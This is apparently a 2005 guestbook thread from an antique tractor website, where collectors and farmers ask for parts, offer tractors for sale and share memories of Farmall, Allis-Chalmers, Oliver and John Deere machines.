Roy L. Vincent wrote on Tuesday, October 25, 2005 (PDT):I am from the Rice country of southwest Louisiana. As a kid I use to ride one of these R's during the Thanksgiving week off from school pulling a 4 bottom 14" plow. By the time I was 12 I was driving the old R and my dad was driving a new 820 model. Long story short I spent many hours on one of these good old work horses. Down in the country where I am from you just don't see these anymore. However , I am seriously considering trying to purchase one of these old tractors and try my hand at restoring one and using it on my farm up in North East Texas around the Mt Pleasant Texas area. If anyone has one of these tractors I am interested in locating and buying one, please contact me at my email address I have provided. Thanks for your time reading this note.
Irene Lee wrote on Tuesday, October 25, 2005 (PDT):My husband has a LA Case not sure of the rest of numbers it belonged to his father do not know much of the history. Would like to restore to original need help to figure this tractor out. Any help would be great. Color decals etc. Thanks
gareth wrote on Tuesday, October 25, 2005 (PDT):i need petrol/tvo tap can you help please gareth wales...
RONALD WESSLING wrote on Tuesday, October 25, 2005 (PDT):LOKING FOR A 'B'CULTI VISION W SINGLE FRONT WHEEL IF POSSIBE TO RESTORE MY GRADFATHER HAD ONE THATS STILL IN THE FAMILY AND I WOULD LOVE TO HAVE A MATCH TO IT HIS WAS A 1940 W MANUAL OPERATED CULTIVATOR ATTACHED TO IT
Hal Walton wrote on Monday, October 24, 2005 (PDT):I would like to purchase a Waterloo Boy for my collection, please let me know if you have one or know where one is for sale.
Steve Buckler wrote on Monday, October 24, 2005 (PDT):I need help locating info on a H3 crawler. I've been told the engine is a D15 Allis. Is this correct? Where can I locate more info and parts, in particular, the engine oil pump? Thanks
Daniel Oakes wrote on Monday, October 24, 2005 (PDT):I think I have a tractor like this but I cant find the serial number anywere on the web it is TO58467
Paula wrote on Monday, October 24, 2005 (PDT): We have an 1965 Oliver 1855 for sale. 4x4, Power Steering,Diesel, A/C cab. Great tractor for pulling.
Evan David wrote on Monday, October 24, 2005 (PDT):I'm looking at buying a D15 Series II '66' or '67'... The primary reason I'm thinking of getting this is to use w/ our Roto-Baler. Will this have the power? Is this an ideal set up (w/ this version of the hand clutch) or would a WD be a better bet. We need a WF for the terrain in our area. Also... How did the D15 change w/ the Series II? Thanks for any and all info.
Jon Amundson wrote on Sunday, October 23, 2005 (PDT):Other than using a timing scope, how does one time the mag to the engine on a John Deere D (1928) with a Wico base mount mag? Please give complete instructions. Thank you!
Bryan wrote on Sunday, October 23, 2005 (PDT):I have restored a 1929 McCormick Deering 22-36 that was my great grandfathers. I really need a good hood and side curtins. does anyone know were i can find one?
Josh Keck wrote on Sunday, October 23, 2005 (PDT):looking for air cleaner setup for 1930 regular....also looking for gas starter tank....also gas tank and a carburator in decent condition.....will pay big bucks!$$
J buchanan wrote on Sunday, October 23, 2005 (PDT):I HAVE ECCENTLY BOUGHT A FERGUSON TO-35 I LIKE TO SELL IT ITS RUN GOOD IT HAS NO GREEL IT HAS A DISK ANDA BOX EMAIL WITH OFFER THANK YOU JB
J buchanan wrote on Sunday, October 23, 2005 (PDT):I HAVE ECCENTLY BOUGHT A FERGUSON TO-35 I LIKE TO SELL IT ITS RUN GOOD IT HAS NO GREEL IT HAS A DISK ANDA BOX EMAIL WITH OFFER THANK YOU JB
Greg Round wrote on Friday, October 21, 2005 (PDT):I have a very sick 2010 diesel that needs an engine rebuild. Can anyone tell me where I can get the parts?
Dick Hamilton wrote on Friday, October 21, 2005 (PDT):I have been working on a 1938 F-12. Today I got the brakes repaired and now will continue on the rear end. I do need a seat as the old one is in bad shape. Will try to repair it if I can't find one. Can't wait to get it running since my son and I bought this close to 10 years ago, then my son went to work in Mexico. Maybe some day soon.
buzz m wrote on Thursday, October 20, 2005 (PDT):I just bought an oliver 550,previous owner had gas eng. rebuilt then broke trans gears.i am in the process of replacing all bad gears,seals,bearings,etc.i also put in all new pto clutch disc,next i'll redo the front axle. smitty's tractor in ohio had all the new and excellent used parts i needed .i have his # if anyone wants it.
buzz m wrote on Thursday, October 20, 2005 (PDT):I just bought an oliver 550,previous owner had gas eng. rebuilt then broke trans gears.i am in the process of replacing all bad gears,seals,bearings,etc.i also put in all new pto clutch disc,next i'll redo the front axle. smitty's tractor in ohio had all the new and excellent used parts i needed .i have his # if anyone wants it.
Steve Culver wrote on Thursday, October 20, 2005 (PDT):I'm looking for a "dirt plate" attachment for an International manure bucket. This unit slips over the front forks of the bucket. I'm using this International loader on my IH 350 High-Utility. I'm located in mid-Michigan. I'm hoping to find one within reasonable driving distance.
Harlan Clark wrote on Thursday, October 20, 2005 (PDT):I have a JD 2010 Ser # 10004. Have had it for about 4 yrs, does a fine job on everything from baling hay, landscaping, snow plowing, whatever!! I have checked with John Deere Co. and found out that Ser # 10002 was scrapped. (it never made the end of the assembly line.) I,m wondering if anyone knows the whereabouts of Ser#'s 10001 & 10003? It may be that I have the earliest JD 2010 that is still alive and well.
Dwayne Cox wrote on Wednesday, October 19, 2005 (PDT):if cant find head might trade or sell tractor has new radiator and engine gasket set .has wide front end. and loader ph. 606 287 1581
dwayne cox wrote on Wednesday, October 19, 2005 (PDT):i need a head for 1957 allis chalmers wd45 gas. ph.606 287 1581
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):Just listed a question above about a McCormick Deering Farmall T10 548 4 Did not know if I had to write my e mail wrestlersds at bright.net sorry for the mess up Thanks again if anyone can help with information about this tractor.
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):We have a McCormick Deering Farmall we think is in a Titan. We need information It is Gray on steel wheels with the number T10 548 4. We would like to know year, paint codes and any other information we can get. Please E Mail us if you have any information on this tractor. Thanks for your help.
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):We have a McCormick Deering Farmall we think is in a Titan. We need information It is Gray on steel wheels with the number T10 548 4. We would like to know year, paint codes and any other information we can get. Please E Mail us if you have any information on this tractor. Thanks for your help.
Gary Lay wrote on Wednesday, October 19, 2005 (PDT):I am in need of the brackets for the track idler on my 1938 Model M Crawler. Any ideas or suggestions?
Wes J. wrote on Tuesday, October 18, 2005 (PDT):I'm looking for a wide front end for a 1948 Farmall C? Prefer within 200 or so miles from Joplin, MO. Please list price.
Terry E. Phillips wrote on Tuesday, October 18, 2005 (PDT):I remember when my brother and I drove this brand new tractor home to the farm. We spent many thousands of hours on it, ruining our hearing in the process, of course. We overhauled the 3 cylinder Jimmy engine several times and replaced the transmission and differential because they were not designed for the additional power of the engine. The Donaldson oil bath air cleaners were just not enough to keep the fine western Kansas dust out of the engine.
myke meiners wrote on Tuesday, October 18, 2005 (PDT):I just bought a case 190 garden tractor in basket it had broken axel I fixed now I need the cluster gears. If anyone knows where I get one I would sure be abliged to have them let me know
Josh Stern wrote on Tuesday, October 18, 2005 (PDT):I'm finally getting started on restoring my 1938 F-14. I heard it was only made 2 years, is this true? Also, anyone know where I can get rims and tires that are reasonable? (New Hampshire)
Bob Soper wrote on Monday, October 17, 2005 (PDT):Have a chance to buy D17 - unspecified year, have yet to get serial number. Problem with water in the oil pan. Seems to be when tractor is sitting for a period of time. Any ideas? O rings around sleeves? Cracked block? head gasket? Are any of these problems common to the D17 4 cylinder gas?
Dave (NE) wrote on Monday, October 17, 2005 (PDT):Well, you are correct, Allis did make a grader as you describe. I've seen them at shows and pictures of them. Where to get on, is another question. I have seen them for sale, but not very often.
Butch Ogden wrote on Monday, October 17, 2005 (PDT):Looking for rims for a G both front and rear. thanks
mark wrote on Sunday, October 16, 2005 (PDT):I am seeking a worm gear and steering wheel for a 1957 300 utility. Does anyone know where I might locate these parts? Thanks.
Derek Atk wrote on Sunday, October 16, 2005 (PDT):Sorry wrong form above. Oops!!!!!!!!!!!!!!!!!!
Derek Atk wrote on Sunday, October 16, 2005 (PDT):I am looking for a John Deere G,730diesel,720D,420,430 or a 3pt 9' cyclebar mower. If you are interested in selling any of these particular models, please contact me via email. It would be helpfull if you are in a deceny range of central illinios. thank You............................This website has been very helpfull to me by research on the 730.
David wrote on Sunday, October 16, 2005 (PDT):Binder books .com has actual manual reprints for this and many other IH tractors
Steve wrote on Sunday, October 16, 2005 (PDT):I want to design a self propelled horse arena groomer. I have experience with WD's and WD45's. Didn't AC build a road grader version of this tractor with an elongated frame? What did they call it and where can I find one?
Stuart wrote on Thursday, October 13, 2005 (PDT):I have a W4 to sell, not sure how much it is worth. It runs well and is in all around good shape. Info would be great. I am located in Ontario.
Peg Mitchell wrote on Thursday, October 13, 2005 (PDT):I am looking for an Oliver 550 tractor, it is wanted by my daughter, Her and her husband are in to tractor pulls and only use Oliver's. Could anyone help find one at a decent price. If it needs work, that is OK to. Thanks
joe wrote on Thursday, October 13, 2005 (PDT):I just wanted to say that to my knoledge I have an H-TA sitting in my driveway. I got it for a pulling tractor, Not knowing what I was getting. Turns out that I have in my presence a rare gem. It looks rough now, but I plan to restore it this winter!
Harold Sundvor wrote on Wednesday, October 12, 2005 (PDT): How do you fix a sticky acelerator on a 1996 --5240?
Dave Altimier wrote on Wednesday, October 12, 2005 (PDT):I have a great running (up to now) 1954 Fordson Major Diesel SN 1300832 and it has developed a problem as it has no oil pressure. I need an engine oil pump replacement. Can anyone steer me to a place to get one?
Brad Carey wrote on Wednesday, October 12, 2005 (PDT):I am looking for a 20-35. I located one in western Iowa, however it dosen't seem to be for sale. I know these tractors are one of a kind but if I find one it will be restored back to original.
Mark Hill wrote on Wednesday, October 12, 2005 (PDT):I have a 1938 F-20. I'm looking for a set of cast iron draw bar connectors that connect the draw bar to the backside of the wheel housing. Thanks.
Jim Thomas wrote on Wednesday, October 12, 2005 (PDT):I am looking for a 262 diesel engine for a D-17 or looking to buy a D-17 Series III or Series IV or a D-19 Diesel
Wally Doerksen wrote on Wednesday, October 12, 2005 (PDT):I recently purchased an AC 220 but it did not have a pto on it. Does anyone know where I can find a pto assembly for it?
Paul Miller wrote on Wednesday, October 12, 2005 (PDT):I bought a 1949 oliver 77 it is missing some of the side panels but I painted it and it looks pretty nice. It has a 12 volt system installed on it and starts real nice and the engine purrs like a kitten, brand new rear tires, I bought the tractor for $800 and I am just wondering what it is worth, even know I am definently not going to sell it.
kendle davis wrote on Tuesday, October 11, 2005 (PDT):what is your tractor worth, and is it for sale
Randy North wrote on Tuesday, October 11, 2005 (PDT):We just purchased a t9 gas burner, engine was rebuilt recently but the rear main rope seal must not have been installed corectly. Just wondering if anyone knew what engine this was and where i could get a new seal? thanks
chris george wrote on Monday, October 10, 2005 (PDT):my wifes uncle has an old 420 john deere that needs the transmission put back together my father-in-law thinks it is around 1960.can anyone help me with diagrams for this tractor.the person who took it apart has since passed on before he could put it back together again.he was replacing a gear in it.
Josh wrote on Monday, October 10, 2005 (PDT):Im looking for a unstyle A or B hand start. It don't have to be that great osshape. Want it to just to have to play with And not that much. It could be in a tree row or even in a barn don't matter. Thanks Josh
Bill K. wrote on Monday, October 10, 2005 (PDT):Hello; I just bought a 1948 M. I will need a trailer, truck to move it. Will a 1/2 ton PU work? Size of trailer? Any info on where to get a engine oil filter element in MN? Any information to get started on maitanence would help. It runs but burns oil. Thank you! BK
Jeff wrote on Monday, October 10, 2005 (PDT):Great site here, I will be rebuilding my Oliver Super 77 and am interested in determining the year that this tractor was built and where. Also I have a 1750 that I use for snowblowing and would like to be sure of the build year for this tractor also.
Randy wrote on Sunday, October 09, 2005 (PDT):Neil what is your casting numbers on this engine, rear end housing, trans ? they should end with a letter. what is the letter? whats your ser. #?
beefy wrote on Sunday, October 09, 2005 (PDT):my oliver 550 has been to hell and back and is still runnin strong built in 1955 never been rebuilt and still pulls a three bottom
James wrote on Sunday, October 09, 2005 (PDT):Sure would be nice to see pictures of OS4 McCormick Deering 1950 and up. Thank You.
Dan wrote on Saturday, October 08, 2005 (PDT):That sure is a nice looking D. I probably wouldn't have painted the belt pulley yellow, but that's just me. It sure would make a good pulling tractor.
Doug Sylfest wrote on Saturday, October 08, 2005 (PDT):I have many hours in the seat of a 1952 Fordson Major diesel my father bought one new in 1952. I agree, the wheels were orange, I do not recall if they were cast or formed steel, to my knowledge there are not any pictures of our Fordson Major, not that I can get hold of anyway. The Major was close to handling most of the loads our 1950 IH MD did, when the pull got tough, the MD had to take over.There were not many Majors around, there were a lot of AC WD-45s. The WD-45 was a very nice tractor, lots of features. But, was over rated, AC just tried to get too much from it.There were lots of tractor pulls, mostly out in the fields but, some organized at fairs, etc. The Major always out pulled the WD-45 quite a lot. I would like to find a Major about a 1952, also would like to know about what the list price of that tractor was in 1952.
Dan wrote on Friday, October 07, 2005 (PDT):All right, let's set the record straight here. The 40 replaced the M (which started out as the H) the 50 replaced the B, the 60 replaced the A, and the 70 replaced the G. And if you really wanna know, the 80 replaced the R.
william kettleborough wrote on Friday, October 07, 2005 (PDT):One of the hydraulic clutch packs must be faultily connected, or maybe even Not connecte, but you may have to split the tractor in halve to nget to it, so seek proffesional advice>
Mike wrote on Friday, October 07, 2005 (PDT):Which UK event should I attend to see a good assembly of FM tractors,please?
bob davis wrote on Thursday, October 06, 2005 (PDT):what sickle bar mower will hook up to case vao 3pt hitch with little or no alterations?
Brad Carey wrote on Thursday, October 06, 2005 (PDT):I am looking for a 25-35. I located one in western Iowa, however, it does'nt seem to be for sale. I know these tractors are one of a kind but if I find one it will be restored back to original and put beside my 36 wc.
Joe Boston wrote on Thursday, October 06, 2005 (PDT):I have a 1965 Allis Chalmers D-15. It starts good and runs good. It has a blade for the back of it and a manure scoop for the front. I was wondering what it all would be worth.
Judy Greiter wrote on Wednesday, October 05, 2005 (PDT):I have a MF-150 serial #SDM 642004136- Does anyone know what year this tractor is? I want to sell it and can't find a good reference for this # Thanks-
Anthony Kretowicz wrote on Tuesday, October 04, 2005 (PDT):Nelson,are you referring to the slant dash model B?
Bubba wrote on Tuesday, October 04, 2005 (PDT):Just bought a 1948 TE-20 Ferguson. Hydraulics leak down when you mash clutch. Any help will be thankful. Bubba in Ala.
Dan wrote on Tuesday, October 04, 2005 (PDT):I'm interested in buying a styled A, wide front. If anyone reading this wants to sell one, just let me know some basic stuff about it, how it runs, asking price, etc. Thanks for your help. Dan
Dan Shippee wrote on Tuesday, October 04, 2005 (PDT):My dad owns a '54 model 60. I beat him on it in a tractor pull a couple days ago.
Jim Whitin wrote on Tuesday, October 04, 2005 (PDT):I would like to purchase a Farmall Cub to cut my fields, level the ground for horse back riding , grade my shell driveway occasionally, and somehow move hay and horse manure around. Is this the right tractor? I really like the looks and size. Is there any where in New England that they might be available at?
Joe wrote on Sunday, October 02, 2005 (PDT):Does anybody know where to get an exhaust manifol that has the lever that diverts the exaust to run distillate, mine is cracked and rozen Thanks
Steve Zeman wrote on Sunday, October 02, 2005 (PDT):Needing Hydraulic pump for G1000 Wheatland (Propane). The old one is shot. It is a Vickers Model No. M-PFB-15-R-20-094 131 J6. Any ideas where to find one, new or used please contact. Thanks SEZ
aaron holland wrote on Sunday, October 02, 2005 (PDT):i am looking for a manifold for a avery moodel v with a hercules motor thanks
John wrote on Saturday, October 01, 2005 (PDT):Ron D - It takes HyTrans. Any brand will do. Your case dealer will have the good stuff. The Torque Amplifier requires more fluid in the main gearbox fill (sitting on the tractor, large 3/4" square drive to the left of the stick shift). It draws from the same gearbox. The gear box capacity with the TA is 7 gallons.
Julie Burt wrote on Saturday, October 01, 2005 (PDT):I had to take a real close look at this tractor. Thought it was the one in my barn. The one I have is for sale. The only difference is mine has spoked rear wheels.
Brian Harrington wrote on Monday, September 26, 2005 (PDT):HELLO All OC3-42 fans, I am buying one right now and am open for any technical tips or suggestions. Email me any comments or parts you may have forsale, I live in N Texas Oklahoma border area. I plan on redoing this little Crwler with a big heart this winter. Would appreciate any tips or short cuts, It has a blade on it and is S/N 8WH300, I don't even know what year it is, I did find the guys at Zimmerman Oliver Cletrac in PA. They seem real sharp on this unit and parts and prices. Thank you all for your time. flyinghranch at copper.net
Larry Brownlee wrote on Sunday, September 25, 2005 (PDT):I have a 1957 Fordson Dexta. I have a broken differential. I would like to purchase a parts tractor 1957-1962.
Dave wrote on Friday, September 23, 2005 (PDT):I am restoring a 1939 WC but can't seem to locate a set of original rear wheels (11-28's). If anyone has a set for sale or something similar that will fit please let me know.
Tandy mindahl wrote on Thursday, September 22, 2005 (PDT):Hi, I have a John Deere 1965 wide front 2010 with about 2100 hours on it. It has a JD 700 loader and a series 93 backhoe on it. Tractor starts and runs very good and the loader and back hoe also work. Since this is kind of a collectors item I hate to use it all the time around the hobby farm. Would like to find someone interested in bying it. Wondering how much this one owner tractor would be worth to a collector ? It is built like a rock and when you look at it you know you are looking at a piece of history and not some junk. It is painted yellow which is not the original color.
Bobby Dow wrote on Thursday, September 22, 2005 (PDT):Looking for an entire rear end for a 1950. I own one now but I need a new rear end for pulling.
Neil Billger wrote on Tuesday, September 20, 2005 (PDT): Randy, All I know is that on the metal tag which is located on the right side down by the steering rod. it says lo-boy could it just be a cub?
frank wrote on Tuesday, September 20, 2005 (PDT):I'm wondering if oliver tractors are now called white tractors. when designed. I have a 2-60 white farm tractor 4x4 which i purchase in st.john's in 98 and i cann't find any pic. of this kind of tractor on the internet.she is from a 1977 to a 1985 somewhere in that line.do you know where i can find some pictures or information on this tractor please.i think that the engine was made in italy.i am a newfoundlander in canada thank you
frank wrote on Tuesday, September 20, 2005 (PDT):I'm wondering if oliver tractors are now called white tractors. when designed. I have a 2-60 white farm tractor 4x4 which i purchase in st.john's in 98 and i cann't find any pic. of this kind of tractor on the internet.she is from a 1977 to a 1985 somewhere in that line.do you know where i can find some pictures or information on this tractor please.i think that the engine was made in italy.i am a newfoundlander in canada thank you
Lewis Trotter wrote on Tuesday, September 20, 2005 (PDT):I am in the process of refurbishing a 160, got every thing working but as soon as the engine starts the lift arms began to rise without touching the lever and the lift cylinder shaft broke the housing. what is the problem?
Farmall1939boy wrote on Monday, September 19, 2005 (PDT):I have a 1939 Farmall M with 1,000lbs of wheel weights in each wheel. It is one my Great Grandfather bought back in 1939 brand new, it was its first of its kind sold in california. Bought From N&S tractor.
mr. red wrote on Monday, September 19, 2005 (PDT):hay u johnny popper deeres, its handz down red power!!!
Jimmie Peterson wrote on Sunday, September 18, 2005 (PDT):I am in the process of restoring a 1960 something Farmall Cub. If anyone knows what color of blue the original front and rear cultivator arms are I would appreciate any information you could provide. Additionally the original ID plate is still on the tractor but it is unreadable. I have the original block, can I take the cast numbers off the block and get an actual year date. Thanks for any information anyone can give. Jimmie Peterson
KELLY AND DONNA ONEAL wrote on Sunday, September 18, 2005 (PDT):HEY I BOUGHT ONE OF THEM ORANGE TRACTORS A D17 ALLIS CHCMBERS 4 CYL GAS BANGER. FIRST RATTLE OUT OF THE BOX ROCKER ARM SHAFT BROKE AT #1 STAND, BEEN BROKEN BEFORE SOMEONE WELDED IT, I REPLACED IT WITH A GOOD USED ONE. HAVE THE ROCKER AND ALUMNE STANDS ANYONE INTERESTED IN THEM EMAIL ME OR CALL ME 580-243-8820. WELL IT RUNS GOOD, DON'T USE OIL, CHANGED OVER TO 2 WIRE AUTONATOR, HAS HDY, PS, SEAT A LITTLE BUMPY. NO AC, NO CAB. NO COMPLANTS.
Ivo wrote on Saturday, September 17, 2005 (PDT):I have one old photo of very very old tractor.Can anyone recognize it if I send a scan of my photo? Thanks Ivo
Tom Strader wrote on Friday, September 16, 2005 (PDT):Iwould like to buy a Ford 2000 or 541 offset tractor. I would like to restore it and run this tractor in some local parades. If anyone knows where there is one PLEASE let me know. Thank You.
Floyd wrote on Thursday, September 15, 2005 (PDT):I have a 1947 Massey Harris 20 It has A stock motor I Will Take 600.00 For It 740 384 4323
Michael wrote on Thursday, September 15, 2005 (PDT):Betsy, There any decal you need on ebay. Just type in Farmall Cub. I need to buy myself some decals as well.
aykut yarar wrote on Tuesday, September 13, 2005 (PDT):hello 'm from turkey n svas-kangal.onur s my brother.we has got massey harrs-55 and massey ferguson 4255 but we love to harrs very much because classc.sorry my englsh s lttle.onur&aykut yarar.
aykut yarar wrote on Tuesday, September 13, 2005 (PDT):hello 'm from turkey n svas-kangal.onur s my brother.we has got massey harrs-55 and massey ferguson 4255 but we love to harrs very much because classc.sorry my englsh s lttle.onur&aykut yarar.
aykut yarar wrote on Tuesday, September 13, 2005 (PDT):hello 'm from turkey n svas-kangal.onur s my brother.we has got massey harrs-55 and massey ferguson 4255 but we love to harrs very much because classc.sorry my englsh s lttle.onur&aykut yarar.
Randy Looby wrote on Monday, September 12, 2005 (PDT):To Phillip M. I have a 550 Oliver with a hitch that goes on the three point hitch. I do not know who made it. It came on the tractor when my dad bought itback in the mid-60's. The 550 is a 1960.
kirk C, wrote on Saturday, September 10, 2005 (PDT):I have a 1951 w-6,that im redoing at the moment, I love those 1066,s & 1466,s too Awesome sound awesome tractor,Im looking for a 1066,or1466, Ive drove 4430,s before,& woudnt have one for all the tea in china, I saw a 1466 at a dealer,and this guy came and bought it from under my nose,for 6,500,00,ticked me off, I thought I liked V8 massey,s too but forget them for part,s,No way! Alway,s will be Red Power! If you have a 1066, or 1466 dont let them go, they are sweet as neat can be,and that exhaust note of that turbo six cylinder in these thing,s is real music! I may buy an old 1155 Massey,just for the V8 engine and look,s though nothing else,Red Power Rule,s!
john oliver wrote on Friday, September 09, 2005 (PDT):i think the 50 deluxe in the picture is a 55 my cousin bought a 57 cockshutt 35 and by then cockshutt had changed thier colours to cream and red and thier nos. to 35 45 55
Bruce Byler wrote on Friday, September 09, 2005 (PDT):I have a 1929 farmall. I left the water in it one winter and it cracked the cyl. Any resources for a complete block for this unit? It looks like the pic on top of this page
Sharon wrote on Thursday, September 08, 2005 (PDT):"M" Collection twice sold. My husband found restored the entire collection of 16 M's from 39 to 54 one at a time. Not long after he had finally found and restored the last one in the collection, he was found to have cancer and died. You could still smell the new paint. Well,after a bit, our daughter and I decided to have an auction and sell the M's and all the rest of Dale's restored tractors, nearly 60 of them. The auction was June 6th, 1998 and it went well. But, I did a dumb thing and bought the M collection back as my daughter was upset about their loss. She and her husband were going to tend to their upkeep, but that didn't work out after a few years. Now, the M collection is on their way to a three day sale in Larned, KS,in October. So,now, will all you Farmall M and other tractor lovers, wish me luck. ;-) I won't buy them back this time. ;-)
N.C.Tillou wrote on Wednesday, September 07, 2005 (PDT):Spent many hours on a Farmall "A", not the hi-crop version, when I was a kid. Actually broke it in half one day when I got the single bottom mounted plow wedged under a rock ledge. Was standing on the plow to force it in the ghround and leaning over the seat to steer.Before i could get back over the seat and my foot on the clutch I broke the large bell casting that held engine and tranny together. There was no frame members on these little tractors,the bell casting was the "backbone" of the tractor.Anybody else ever break one.Dad was so upset about me breaking our small tractor (we also had an "H" and a old International crawler)that he bought me an F-14 and defied me to break it. I tried until we quit farming in 1962 and never could break the thing.
matt mcferren wrote on Wednesday, September 07, 2005 (PDT):i currently have a 44MH and a 101 am lokking for a complete 55 or 555 doesnt have to be running. i would appreciate any info on one of these tractors anywhere thankyou
Edith Bullock wrote on Wednesday, September 07, 2005 (PDT):I am looking for a D21 in Texas or close by, preferrably in working order. Does not have to be restored.
Deanna wrote on Saturday, September 03, 2005 (PDT):What memories I have of the C. My Grandfather owned 4 out of our 6 tractors. One of them being the C. When my 2 brothers and I were very small it did not run and what fun we had pretending on it. Then one winter Grandpa and Dad got it running again. Grandpa put wood blocks on the clutch and breaks so my brother's feet could reach them. At age 9, he learned how to plow with that C and its 2 bottom plow in the corn field behind our house. We continued to use that tractor well into our high school years (1980's). During winter school breaks it was used to pull the home made trailer to the woods to bring back the wood that had been cut and split for our winter heat. All 3 of us learned to drive on that tractor. When my Grandfather sold the farm, all the the tractors including our beloved C were sold. How I wish I still had that tractor to teach my nephew's how to drive. To this day my best friend and I argue which tractor is better--my C or her Dad's Oliver.
Dave Turford wrote on Wednesday, August 31, 2005 (PDT):Recently came into possesion of a case tractor, but do not know what year it is. Found out the serial should be on the tool box that used to sit on the steering column. The tool box was removed years ago. Was wondering if there were any other numbers that would give me a clue as to its age? Thanks
Dain Medow wrote on Tuesday, August 30, 2005 (PDT):great comments everybody! may family has run red since the late 30's and love their performance. we have a 1066, 806, 560 and an M . but about this time last year our international dealer screwed us out of about 6 grand and decided to try New Holland TG210 and i wouldn't trade it for anything, well maybe an old Hi-crop but that's about it.
Bill Rock wrote on Saturday, August 27, 2005 (PDT):I am Interested in buying a D21 in any shape i am a mechanic so I can fix or rebuild it if I have to
DEH wrote on Friday, August 26, 2005 (PDT):Have an opportunity to purchase a 1940(?)Leader tractor,needs quite a bit of work and needs a new rear tire, but starts right up...has disc and plow, am interested in old tractors, what would be a fair offer to make on this?
Barry McLamroc wrote on Thursday, August 25, 2005 (PDT):I've owned this tractor for 15 years and have enjoyed it. It is unstyled and has a long hood and all purpose engine
Barry McLamroc wrote on Thursday, August 25, 2005 (PDT):I've owned this tractor for 15 years and have enjoyed it. It is unstyled and has a long hood and all purpose engine
FarmIH wrote on Wednesday, August 24, 2005 (PDT):I live on a farm in western Iowa. We (my dad and i) have a Super MTA which is the secound coolest tractor every made. We also own a 1066(with and intercooler) which we took the cab off and repainted and added a nice 6in. chrome stack and new tires all the way around. I think this tractor is the coolest tractor ever. The rest of our tractors include a 70 hydro(the most manuverable and easily operated tractor i have ever drove) a 806D and a 1486(this tractor has well over 10,000 hours and never had the engine touched) and a 1480 combine with the DT466. I love red and dont understand the Deere fans out there.
oliver guy wrote on Wednesday, August 24, 2005 (PDT):they were made by cockshutt
Jim wrote on Wednesday, August 24, 2005 (PDT):I'm looking for a good running D-15. Please let me know if you know of any.
Arnold Mswia wrote on Tuesday, August 23, 2005 (PDT):I will like to buy a used Massey Ferguson tractor 135 or 165. Will you send for me the price, but i will like it to be in USDollers . I am a Tanzanian, but don't forgate shipping price plaese.
Michael Laukhuf wrote on Tuesday, August 23, 2005 (PDT):We have a Lindeman Crawler for sale. We completely tore this crawler down to restore it. It is a great looking Lindeman, and it runs very good. If anyone is interested, send an email and I can send pictures and more information on it. We are located in NW Ohio. Contact me at mlaukhuf at truevine.net
Wes wrote on Tuesday, August 23, 2005 (PDT):I am looking for a breakdown diagram of a 1936 Case SC 4 speed transmission. I am in the process of putting something back together that I didn't take apart. If someone could e-mail or fax me a breakdown of the transmission I would apprecieate it. Fax # is 1-906-779-2406.
Chuck L. wrote on Sunday, August 21, 2005 (PDT):If yours is only moderately worn (Like mine was), I think you can reverse it and prolong its life, because most of the wear is on the 'engage' side. I do have an engine core laying out behind the shop which may have a usable throw-out bearing if you are in a real bind and can't find a better one or reverse and use yours.
Joe wrote on Saturday, August 20, 2005 (PDT):I have SOS Diesel. No Idea what year,or model. Where is the Ser.# located? Rear rims are secured to the hubs with locking lugs, If that's what they are called.
wes wrote on Saturday, August 20, 2005 (PDT):Looking for complete motor for oc-3 crawler. Send replies to Wes at wjrharris at chartermi.net. Thank you
Michael wrote on Friday, August 19, 2005 (PDT):Anyone out there in Oregon or Washington State that has either a sickle bar mower set up for a Farmall Cub, or a blade that fits under the tractor for grading. I'm currently in the market to purchase one, if one becomes available. Thanks, Mike.
Adam wrote on Friday, August 19, 2005 (PDT):Hi im looking for a 560 for sale if anyone has of for sale for a good price please let me know. I ma located in PA
IHFan wrote on Tuesday, August 16, 2005 (PDT):anyone know where I could get one? I like what i've heard of it, here and other places. Also, what would be the price? Thanks!
landon wrote on Tuesday, August 16, 2005 (PDT):hey there judy, can you tell me what modle it is? mines a D and the gears on the shifter are like an "H"... top left is reverse botom left is 1st top right is 2nd and botom right is 3rd
daniel malnis wrote on Tuesday, August 16, 2005 (PDT):Good day, I communicate with you in order to begin a commercial relation and imformativa with regard to the buy and sale of tractors, engines and ancient machinery to steam. Together with this one him(her) emvio a few photographies of a tractor and a stock, of other units which emviare photos in close mails, dedes already a great greeting and in wait of contacting myself with you to know if he(she) wishes algun special order(request) or if it(he,she) can give an offer. stock; -Tractor Hungarian marks hscs, engine of a piston ignited with bowl of warming to start. - Tractor model case 18-32 with wheels of iron, stock three complete units. - Tractor model marks deering wd 40 diesel, with wheels of iron. -Tractor German complete motive OyK of two cylinders diesel. - Field marshall English gummed , with bowl of warming, I number of series 12715. -Wally wheel of iron. - Olimber mungel gummed model 21/23 four cylinders. - And other engines and antique tractors. - Boiler to steam English with piping bronze. - Engine marks swlter Austrian. Engine of a piston, take-off for air compression. - Tractor marks case L original wheels of iron. Attentivly Daniel malnis of Argentine
JOHN EMMERT wrote on Sunday, August 14, 2005 (PDT):We took our S99 to be restored last week,the only thing wrong w/ it is a ninor dent on the right fender,the mechanic is fixing any and all ecectrical wireing it might need,we are looking forward to taking it to the local tractor pulls,I farmed w/ it for about 20 years ,thats why my hearing is so bad.We will enclose pictures of it when its complete.
Len Spoelman wrote on Sunday, August 14, 2005 (PDT):Do all Oliver Super 55 have live pto? Thanks
paul yale wrote on Thursday, August 11, 2005 (PDT):I bought a 1929 GP model in great condition. It was restored in the early 80s, and has been sitting in a museum in central Maine until now. Anybody know how I could get a reprint owners manual for this tractor? I would like to get it running and maybe power an old cordwood saw that I have. thanks, any info would be helpful.
Donald L. Sluder wrote on Tuesday, August 09, 2005 (PDT):WHERE WOULD ONE FIND THE SERIAL NUMBER FOR A 1913 CASE TRACTOR.THE TRACTOR WAS PURCHASED BY THE PAULSONS IN 1913 FOR THERE FARM AT RICHFIELD, IDAHO.TRACTOR HAS A BRONZE PLATE THAT SAYS "ENG. 1975 NO.", 40 HP. THE ENGINE IS TWO CYLINDERS OPPOSING EACH OTHER.
Betsy wrote on Tuesday, August 09, 2005 (PDT):I am in the process of restoring a International Farmall Cub. Looking for information on decal locations. Any help is appreciated.
Leonard K. Marusoi wrote on Monday, August 08, 2005 (PDT):I need it for my farm use,also for the availability of spare-parts locally for easy maintainance.
Bruce Arden wrote on Sunday, August 07, 2005 (PDT):Mine is a 1955 Super 55. Rebuilt engine, new radiator, lift works great but its missing the connecting rod for the PTO. Connects lever beside the seat to the arm in front of the brake pedals. Also, why wouldn't it shift from one half of the gears to the other half? Thanks for any help.
